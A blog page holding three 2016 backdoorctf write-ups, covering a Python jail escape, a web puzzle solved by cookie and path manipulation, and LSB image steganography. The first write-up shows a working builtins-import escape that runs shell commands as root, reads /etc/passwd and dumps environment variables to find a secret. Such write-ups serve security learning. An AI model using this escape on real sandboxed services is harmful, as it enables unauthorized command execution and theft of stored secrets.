Jun 8, 2016 - backdoorctf16 : Worst-Pwn-Ever

Author: dade

Publish Date: 2016-06-08

Category: pwn Points: 100 Description:

tocttou is an enviornmentalist. But some say he has a vicious motive and he uses nature to hide his dark side. We found a weird shell on his amazon (pun inteded) web services. Can you tell us what is he upto? Tip: he might shut down the machine if he notices you - and he will (maybe in 45 seconds).
Access: nc hack.bckdr.in 9008
Created by: Ashish Chaudhary

Investigation

When we first netcat into that service, we’re simply presented with a > prompt. Let’s try a couple commands useful recon commands and see what happens.

dade@gibson:~$ nc hack.bckdr.in 9008
> id
dade@gibson:~$ 

Well that didn’t return anything, it just closed our session. Interesting. Let’s try another.

dade@gibson:~$ nc hack.bckdr.in 9008
> whoami
NameError: name 'whoami' is not defined
--> WHAT ARE YOU DOING HERE? >-[
dade@gibson:~$ 

Well that’s interesting, we got ourselves a NameError and an angry message. I write a lot of python, so NameError is familiar to me. It looks like we’re in a python shell of some sort. A bit of googling around and I found this nice writeup about an old plaidCTF challenge called “pyjail”. This gave me some valuable information on breaking out of python jails. Let’s try to do an import.

dade@gibson:~$ nc hack.bckdr.in 9008
> import os 
NameError: invalid syntax (<string>, line 1)
--> WHAT ARE YOU DOING HERE? >-[
dade@gibson:~$ 

Interesting, now we can see an invalid syntax error instead of a name not defined error. I bet since it’s prompting us for input, it’s probably got the input() module loaded. Let’s see if we can manipulate that a bit.

dade@gibson:~$ nc hack.bckdr.in 9008
> input(__builtins__)
<module '__builtin__' (built-in)>import os
NameError: invalid syntax (<string>, line 1)
--> WHAT ARE YOU DOING HERE? >-[
dade@gibson:~$

Breaking out of the sandbox

Neat, now we see that we can access __builtins__. To learn more about what functions are built in, read the python docs.

Let’s see how far we can take this and try to do a call directly from the builtins.

dade@gibson:~$ nc hack.bckdr.in 9008
> input(__builtins__.__import__('os'))
<module 'os' from '/usr/lib/python2.7/os.pyc'>^C
dade@gibson:~$

Now we know we can import os. That’s great news for us, import os gives us access to all sorts of useful system utilities.

dade@gibson:~$ nc hack.bckdr.in 9008
> input(__builtins__.__import__('os').system("id"))
uid=0(root) gid=0(root) groups=0(root)
0
NameError: unexpected EOF while parsing (<string>, line 0)
--> WHAT ARE YOU DOING HERE? >-[
dade@gibson:~$

In this, I hit enter because I wasn’t sure what that final 0 was doing there. It caused us to get caught and kicked out. But that’s okay, we just ran the “id” command on the target and found out this python script is running as root. Let’s try to get some other information from it.

dade@gibson:~$ nc hack.bckdr.in 9008
> input(__builtins__.__import__('os').system("cat /etc/passwd"))
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
0input(__builtins__.__import__('os').system("ls -la ~"))       
total 16
drwx------  2 root root 4096 May  3 16:57 .
drwxr-xr-x 46 root root 4096 Jun  8 08:36 ..
-rw-r--r--  1 root root 3106 Feb 20  2014 .bashrc
-rw-r--r--  1 root root  140 Feb 20  2014 .profile
0^C

I discovered here that the 0 that we see is actually just another prompt where we can make another system call. I grabbed the list of users but didn’t see any usernames that looked particularly interesting. Our target is a guy named tocctou, and none of those accounts looked like they belonged to him. I then wanted to check out the contents of the root homedir, but it only had .bashrc and .profile. What else do we know about tocctou?

Solution

It is sometimes suggested that you use an environmental variable to store sensitive information that a script or something can then access when it needs that sensitve information. This is a common tactic to prevent yourself from accidentally pushing your api keys or passwords to github. We’re told in the challenge description that tocctou is a bit of an “environmentalist”, which should give us the hint that lets us wrap this all up.

dade@gibson:~$ nc hack.bckdr.in 9008
> input(__builtins__.__import__('os').system("printenv"))
HOSTNAME=11a6b24c4b63
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
_=/usr/bin/printenv
_F_L_A_G_='[REDACTED]'
PWD=/scripts
HOME=/root
SHLVL=2
0

Flag

This challenge is hosted permanently at Backdoor, so go find the flag yourself!

Jun 7, 2016 - backdoorctf16 : Infinite Paths

Author: dade

Publish Date: 2016-06-07

Category: Web Points: 100 Description:

cr4wl3r(a basillisk) once got pissed off with feignix(fawkes the feignix) and challenged him to find the flag that was hidden in the mysterious tunnels inside his lair, the chamber of secrets. feignix now flies inside the underground tunnels attempting to find the flag. See if you(Tom) can get to the flag first with some magic tricks. Will you be able to solve this Marvelous Riddle Tom? Go here
Created by: Arpit Singla

Note

I stumbled into a bug with the problem while trying to solve this that enabled me to completely bypass the intended solution. The contents below are how the problem was meant to be solved.

Investigation

We’re chucked into this path and simply told to keep roaming. Directory traversal attacks can be useful, except usually they don’t come right out and say “change directories.” Since we’re told to keep roaming, let’s try a few quick options. Let’s add another /path to the end of the url.

Want the flag? Here it is:
"Hunh! D0 y0u 7h1nk 17'5 7h1s e4sy?"

Surely that’s not the flag, it’s taunting us that it couldn’t be this easy. Classic red herring (The guys at SDSLabs really liked the red herrings this year). Let’s also check out simply http://hack.bckdr.in/INFINITE-PATHS/. We’re presented with the same taunting message. I’d be lying if I said I didn’t go through and check almost every /path between 0 and 50 (the number of /path’s we’re presented with when the challenge begins). No luck traversing through all those directories, I suppose it’s a good time to pull up fiddler, though you could also use burp suite if you have it setup.

Once we’re monitoring fiddler, I opened up a clean browser instance so that I could mimic the very first interaction I had with the site.

Here we can see a ton of cookies are set. Fitting, since we’re a ton of directories into the site. Let’s send another request so that we can clone a request without having to manually transform those Set-Cookie headers into a format suitable for a GET request.

Now let’s go to the raw tab and copy the entire request we just sent so that we can do some modifying. Copy the request and then go to the Composer tab and paste it in. Be sure to have one blank line at the end of your request, otherwise it’s not a valid request. Let’s start off by removing the first cookie we see on the list and see what happens.

Fascinating! We’ve gained useful information here. Let’s try to remove another cookie from the front of the list and see what happens.

Of course, that would have been too easy. Since there were a ton of /path’s in the url, and a ton of cookies, let’s count them both and see how they relate. I simply pasted the entire get request into sublime text and did a find on /path to get a count, and a find on infinite_paths= to get a count of the cookies. In our original request we had 51 cookies and only 50 paths.

Solution

Now that we know there were originally 51 cookies being set at once and 50 paths, and that when we removed one cookie such that count(cookies) == count(paths), we were presented with one character of a 50 character flag. To confirm this we’ll simply try to remove the first two cookies again, and this time also remove one of the /paths.

We’re sending 49 paths, and 49 cookies we’re actually only sending the first infinite_paths cookie on our list, since they all have the same name. I just kept the entire list of them handy and continued to pop one off the front in order to keep my place.

Fantastic, our suspicion is confirmed and we can move on. You simply need to iterate through all 50 characters, popping one cookie off the front of the list every time. When we’ve finished we reach the last character of the flag.

When you put all the characters you’re presented with together, you should realize that it doesn’t really make much sense. It begins with a period and ends with a capital letter. Let’s go ahead and reverse that, which you can quickly do in python like so:

python -c 'print "TheFlagYouFind"[::-1]'

My Accidental Solution

During some testing, I accidentally sent a GET request that contained %20 at the end of the request, immediately following the final /path. This presented me with a character of the flag. Upon a bit more investigation, I was able to obtain every character of the flag by simply putting something unexpected at the end of the string for every iteration of the /path list, completely bypassing the cookie challenge. This was not the intended solution and I informed the author.

http://hack.bckdr.in/INFINITE-PATHS/pathHack
http://hack.bckdr.in/INFINITE-PATHS/path/pathThe
http://hack.bckdr.in/INFINITE-PATHS/path/path/pathPlanet
...

Flag

This challenge is hosted permanently at Backdoor, so go find the flag yourself!

Jun 6, 2016 - backdoorctf16 : Lossless

Author: aagallag

Publish Date: 2016-06-06

Category: Stego Points: 100 Description:

d4rth used his dirty methods to hide a secret in a png file. He is cleverly trying to divert your focus from challenge, but the force is strong with you. Now extract the flag from these images, my young padawan. http://hack.bckdr.in/LOSSLESS/original.png http://hack.bckdr.in/LOSSLESS/encrypted.png
Created by: Arpit Singla

Investigation

We are provided with 2 image files, original.png and encrypted.png. When looking at the two images, they appear to be the same.

original.png

encrypted.png

My first thought was LSB Steganography. For those unfamiliar, LSB stands for Least Significant Bit. When applied to images, LSB works by encoding your hidden message amongst all low-order bytes in some innocent cover image. The reason this works without a user noticing a difference in the image is because the least significant bits are insignificant by definition. Meaning, if a pixel color component is set to 254, the human eye will be unable to notice the difference from 254 to 255.

If the recipient of your message does not have your cover image already, then when you want to encode a 1, you must set the LSB to 1. However, we call it informed LSB stego when the recipient does have a copy of the cover image. When that is the case, the encoding works slightly differently. Instead, to embed a 1, we simply flip the LSB, regardless of it’s original value. If you would like to embed a 0 bit, then you leave the LSB value unchanged, as-is.

To confirm my suspicions about this being an LSB stego challenge, I decided to write some simple Python code to print any changes in pixel values. This will also serve to reveal implmenentation specific details about the stego techniques used.

from PIL import Image

def img_diff_printer(img_orig, img_enc):
    X,Y = img_orig.size
    for x in range(X):
        for y in range(Y):
            pxl_orig = img_orig.getpixel((x,y))
            pxl_enc = img_enc.getpixel((x,y))
            if pxl_orig != pxl_enc:
                print('[%d, %d] %s != %s' % (x, y, str(pxl_orig), str(pxl_enc)))

img_orig = Image.open('original.png')
img_enc = Image.open('encrypted.png')

img_diff_printer(img_orig, img_enc)

And running the script produces the following output

[0, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[0, 2] (2, 0, 1, 255) != (2, 0, 0, 255)
[0, 4] (1, 1, 1, 255) != (1, 1, 0, 255)
[1, 0] (2, 1, 1, 255) != (2, 1, 0, 255)
[1, 1] (2, 1, 1, 255) != (2, 1, 0, 255)
[1, 3] (2, 1, 1, 255) != (2, 1, 0, 255)
[2, 0] (1, 1, 1, 255) != (1, 1, 0, 255)
[2, 1] (1, 1, 1, 255) != (1, 1, 0, 255)
[2, 4] (3, 1, 2, 255) != (3, 1, 3, 255)
[2, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[3, 1] (2, 1, 2, 255) != (2, 1, 3, 255)
[4, 0] (4, 2, 3, 255) != (4, 2, 2, 255)
[4, 1] (3, 2, 3, 255) != (3, 2, 2, 255)
[4, 4] (2, 1, 1, 255) != (2, 1, 0, 255)
[4, 5] (2, 1, 1, 255) != (2, 1, 0, 255)
[5, 0] (4, 2, 3, 255) != (4, 2, 2, 255)
[5, 1] (3, 2, 2, 255) != (3, 2, 3, 255)
[5, 3] (4, 2, 3, 255) != (4, 2, 2, 255)
[5, 4] (4, 2, 3, 255) != (4, 2, 2, 255)
[6, 0] (3, 1, 2, 255) != (3, 1, 3, 255)
[6, 1] (4, 2, 3, 255) != (4, 2, 2, 255)
[6, 6] (4, 2, 3, 255) != (4, 2, 2, 255)
[7, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[7, 1] (2, 1, 1, 255) != (2, 1, 0, 255)
[7, 4] (3, 1, 2, 255) != (3, 1, 3, 255)
[7, 5] (3, 1, 2, 255) != (3, 1, 3, 255)
[7, 6] (3, 2, 2, 255) != (3, 2, 3, 255)
[8, 1] (2, 0, 1, 255) != (2, 0, 0, 255)
[9, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[9, 1] (2, 0, 1, 255) != (2, 0, 0, 255)
[9, 3] (2, 0, 1, 255) != (2, 0, 0, 255)
[9, 6] (2, 0, 1, 255) != (2, 0, 0, 255)
[10, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[10, 1] (2, 0, 1, 255) != (2, 0, 0, 255)
[10, 2] (2, 0, 1, 255) != (2, 0, 0, 255)
[10, 5] (2, 0, 1, 255) != (2, 0, 0, 255)
[10, 6] (2, 0, 1, 255) != (2, 0, 0, 255)
[11, 1] (2, 0, 1, 255) != (2, 0, 0, 255)
[12, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[12, 2] (2, 0, 1, 255) != (2, 0, 0, 255)
[12, 5] (2, 0, 1, 255) != (2, 0, 0, 255)
[12, 6] (2, 0, 1, 255) != (2, 0, 0, 255)
[13, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[13, 3] (2, 0, 1, 255) != (2, 0, 0, 255)
[14, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[14, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[15, 1] (2, 1, 1, 255) != (2, 1, 0, 255)
[15, 2] (2, 0, 1, 255) != (2, 0, 0, 255)
[15, 5] (2, 0, 1, 255) != (2, 0, 0, 255)
[16, 1] (3, 1, 2, 255) != (3, 1, 3, 255)
[16, 2] (2, 0, 1, 255) != (2, 0, 0, 255)
[16, 4] (3, 1, 2, 255) != (3, 1, 3, 255)
[16, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[17, 1] (3, 1, 2, 255) != (3, 1, 3, 255)
[17, 2] (3, 1, 2, 255) != (3, 1, 3, 255)
[17, 4] (3, 1, 2, 255) != (3, 1, 3, 255)
[17, 5] (3, 1, 2, 255) != (3, 1, 3, 255)
[18, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[18, 1] (3, 1, 2, 255) != (3, 1, 3, 255)
[18, 2] (3, 1, 2, 255) != (3, 1, 3, 255)
[18, 3] (3, 1, 2, 255) != (3, 1, 3, 255)
[18, 5] (3, 1, 2, 255) != (3, 1, 3, 255)
[18, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[19, 0] (2, 0, 1, 255) != (2, 0, 0, 255)
[19, 1] (2, 0, 1, 255) != (2, 0, 0, 255)
[19, 4] (3, 1, 2, 255) != (3, 1, 3, 255)
[20, 1] (2, 0, 1, 255) != (2, 0, 0, 255)
[20, 2] (3, 1, 2, 255) != (3, 1, 3, 255)
[20, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[21, 0] (3, 1, 2, 255) != (3, 1, 3, 255)
[21, 1] (3, 1, 2, 255) != (3, 1, 3, 255)
[21, 4] (2, 0, 1, 255) != (2, 0, 0, 255)
[21, 5] (2, 0, 1, 255) != (2, 0, 0, 255)
[22, 0] (3, 1, 2, 255) != (3, 1, 3, 255)
[22, 1] (3, 1, 2, 255) != (3, 1, 3, 255)
[22, 4] (3, 1, 2, 255) != (3, 1, 3, 255)
[22, 5] (3, 1, 2, 255) != (3, 1, 3, 255)
[23, 1] (3, 2, 2, 255) != (3, 2, 3, 255)
[23, 2] (2, 1, 2, 255) != (2, 1, 3, 255)
[23, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[24, 0] (31, 22, 16, 255) != (31, 22, 17, 255)
[24, 1] (25, 17, 13, 255) != (25, 17, 12, 255)
[24, 5] (3, 1, 2, 255) != (3, 1, 3, 255)
[24, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[25, 0] (13, 9, 6, 255) != (13, 9, 7, 255)
[25, 1] (20, 13, 9, 255) != (20, 13, 8, 255)
[25, 2] (31, 22, 14, 255) != (31, 22, 15, 255)
[25, 4] (17, 12, 8, 255) != (17, 12, 9, 255)
[25, 6] (4, 2, 2, 255) != (4, 2, 3, 255)
[26, 0] (30, 20, 13, 255) != (30, 20, 12, 255)
[26, 1] (23, 15, 10, 255) != (23, 15, 11, 255)
[26, 3] (18, 12, 8, 255) != (18, 12, 9, 255)
[26, 4] (25, 17, 11, 255) != (25, 17, 10, 255)
[27, 1] (21, 13, 9, 255) != (21, 13, 8, 255)
[27, 2] (26, 18, 12, 255) != (26, 18, 13, 255)
[27, 4] (15, 10, 6, 255) != (15, 10, 7, 255)
[27, 5] (14, 10, 7, 255) != (14, 10, 6, 255)
[27, 6] (24, 16, 12, 255) != (24, 16, 13, 255)
[28, 0] (6, 3, 2, 255) != (6, 3, 3, 255)
[28, 2] (7, 5, 3, 255) != (7, 5, 2, 255)
[28, 3] (13, 9, 6, 255) != (13, 9, 7, 255)
[28, 4] (21, 14, 9, 255) != (21, 14, 8, 255)
[28, 5] (23, 15, 9, 255) != (23, 15, 8, 255)
[28, 6] (17, 11, 8, 255) != (17, 11, 9, 255)
[29, 0] (7, 5, 3, 255) != (7, 5, 2, 255)
[29, 1] (5, 3, 2, 255) != (5, 3, 3, 255)
[29, 2] (3, 2, 1, 255) != (3, 2, 0, 255)
[29, 4] (11, 6, 4, 255) != (11, 6, 5, 255)
[30, 1] (12, 8, 5, 255) != (12, 8, 4, 255)
[30, 2] (7, 4, 2, 255) != (7, 4, 3, 255)
[31, 0] (6, 4, 2, 255) != (6, 4, 3, 255)
[31, 2] (11, 7, 5, 255) != (11, 7, 4, 255)
[31, 3] (11, 7, 5, 255) != (11, 7, 4, 255)
[31, 4] (7, 4, 2, 255) != (7, 4, 3, 255)
[31, 5] (4, 3, 1, 255) != (4, 3, 0, 255)
[31, 6] (5, 2, 1, 255) != (5, 2, 0, 255)
[32, 0] (6, 4, 2, 255) != (6, 4, 3, 255)
[32, 1] (5, 4, 2, 255) != (5, 4, 3, 255)
[32, 4] (6, 5, 3, 255) != (6, 5, 2, 255)
[32, 5] (7, 3, 2, 255) != (7, 3, 3, 255)
[33, 1] (6, 4, 3, 255) != (6, 4, 2, 255)
[33, 2] (5, 3, 2, 255) != (5, 3, 3, 255)
[34, 0] (7, 4, 3, 255) != (7, 4, 2, 255)
[34, 1] (8, 4, 3, 255) != (8, 4, 2, 255)
[34, 5] (7, 4, 4, 255) != (7, 4, 5, 255)
[34, 6] (5, 2, 2, 255) != (5, 2, 3, 255)
[35, 0] (9, 5, 3, 255) != (9, 5, 2, 255)
[35, 1] (9, 5, 3, 255) != (9, 5, 2, 255)
[35, 2] (10, 5, 3, 255) != (10, 5, 2, 255)
[35, 4] (18, 11, 6, 255) != (18, 11, 7, 255)
[35, 6] (5, 2, 1, 255) != (5, 2, 0, 255)
[36, 1] (6, 4, 3, 255) != (6, 4, 2, 255)
[36, 2] (7, 4, 3, 255) != (7, 4, 2, 255)
[36, 4] (23, 14, 7, 255) != (23, 14, 6, 255)
[36, 6] (7, 3, 2, 255) != (7, 3, 3, 255)
[37, 1] (8, 4, 2, 255) != (8, 4, 3, 255)
[37, 3] (15, 9, 5, 255) != (15, 9, 4, 255)
[37, 4] (21, 13, 7, 255) != (21, 13, 6, 255)
[38, 0] (4, 3, 1, 255) != (4, 3, 0, 255)
[38, 1] (4, 2, 1, 255) != (4, 2, 0, 255)
[38, 2] (4, 2, 1, 255) != (4, 2, 0, 255)
[38, 4] (6, 4, 3, 255) != (6, 4, 2, 255)
[38, 5] (5, 3, 3, 255) != (5, 3, 2, 255)
[38, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[39, 0] (4, 3, 1, 255) != (4, 3, 0, 255)
[39, 1] (4, 3, 1, 255) != (4, 3, 0, 255)
[39, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[40, 1] (4, 3, 1, 255) != (4, 3, 0, 255)
[40, 2] (9, 5, 3, 255) != (9, 5, 2, 255)
[40, 4] (5, 3, 2, 255) != (5, 3, 3, 255)
[40, 6] (3, 1, 2, 255) != (3, 1, 3, 255)
[41, 0] (3, 2, 1, 255) != (3, 2, 0, 255)
[41, 1] (4, 3, 1, 255) != (4, 3, 0, 255)
[41, 3] (12, 7, 4, 255) != (12, 7, 5, 255)
[41, 4] (5, 3, 1, 255) != (5, 3, 0, 255)
[41, 5] (4, 2, 2, 255) != (4, 2, 3, 255)
[42, 1] (6, 4, 2, 255) != (6, 4, 3, 255)
[42, 4] (3, 2, 0, 255) != (3, 2, 1, 255)
[42, 5] (4, 3, 1, 255) != (4, 3, 0, 255)
[42, 6] (6, 4, 2, 255) != (6, 4, 3, 255)
[43, 0] (11, 6, 4, 255) != (11, 6, 5, 255)
[43, 1] (10, 6, 4, 255) != (10, 6, 5, 255)
[43, 2] (4, 2, 1, 255) != (4, 2, 0, 255)
[43, 4] (3, 2, 0, 255) != (3, 2, 1, 255)
[44, 0] (12, 7, 4, 255) != (12, 7, 5, 255)
[44, 2] (4, 3, 1, 255) != (4, 3, 0, 255)
[44, 3] (4, 3, 1, 255) != (4, 3, 0, 255)
[44, 4] (4, 3, 1, 255) != (4, 3, 0, 255)
[44, 5] (4, 3, 1, 255) != (4, 3, 0, 255)
[44, 6] (6, 3, 2, 255) != (6, 3, 3, 255)
[45, 0] (7, 4, 3, 255) != (7, 4, 2, 255)
[45, 1] (5, 3, 1, 255) != (5, 3, 0, 255)
[45, 3] (3, 2, 1, 255) != (3, 2, 0, 255)
[45, 6] (4, 3, 1, 255) != (4, 3, 0, 255)
[46, 1] (5, 2, 1, 255) != (5, 2, 0, 255)
[46, 2] (5, 2, 1, 255) != (5, 2, 0, 255)
[46, 4] (5, 2, 1, 255) != (5, 2, 0, 255)
[46, 5] (5, 3, 1, 255) != (5, 3, 0, 255)
[46, 6] (5, 2, 1, 255) != (5, 2, 0, 255)
[47, 1] (6, 2, 1, 255) != (6, 2, 0, 255)
[47, 2] (6, 2, 1, 255) != (6, 2, 0, 255)
[47, 3] (6, 2, 1, 255) != (6, 2, 0, 255)
[47, 4] (6, 2, 1, 255) != (6, 2, 0, 255)
[47, 5] (6, 2, 1, 255) != (6, 2, 0, 255)
[47, 6] (6, 2, 1, 255) != (6, 2, 0, 255)
[48, 0] (3, 2, 0, 255) != (3, 2, 1, 255)
[48, 1] (3, 2, 0, 255) != (3, 2, 1, 255)
[48, 2] (4, 3, 1, 255) != (4, 3, 0, 255)
[48, 3] (4, 3, 1, 255) != (4, 3, 0, 255)
[48, 4] (4, 3, 1, 255) != (4, 3, 0, 255)
[48, 6] (5, 2, 1, 255) != (5, 2, 0, 255)

Yup, looks like LSB stego to me!

Furthermore, I gleaned some details about the embedding techniques. I notice that only the 3rd color component changes. The other 3 color components remain unchanged. Next I noticed that only the first 7 pixels of every row of pixels ever changes. So at this point, I assumed that each byte is represented by the first 8 pixels in every row and that the 8th bit (MSB, most significant) is always 0. This makes sense if we consider that the embedded data is likely ASCII-printable characters.

Oh, and it looks like only the first 49 rows of pixels contain embedded data. So I will ignore all other rows.

Solution

Finally, I wrote some code to extract the hidden message bytes.

#!/usr/bin/env python
from PIL import Image

def lsb_destego(img_orig, img_enc):
    decode = ''
    for x in range(50):
        byte = ''
        for y in range(7):
            pxl_orig = img_orig.getpixel((x,y))
            pxl_enc = img_enc.getpixel((x,y))
            if pxl_orig != pxl_enc:
                byte += '1'
            else:
                byte += '0'
        decode += chr(int(byte, 2))
    return decode

img_orig = Image.open('original.png')
img_enc = Image.open('encrypted.png')

decode = lsb_destego(img_orig, img_enc)
print(decode)

Flag

This challenge is hosted permanently at Backdoor, so go find the flag yourself!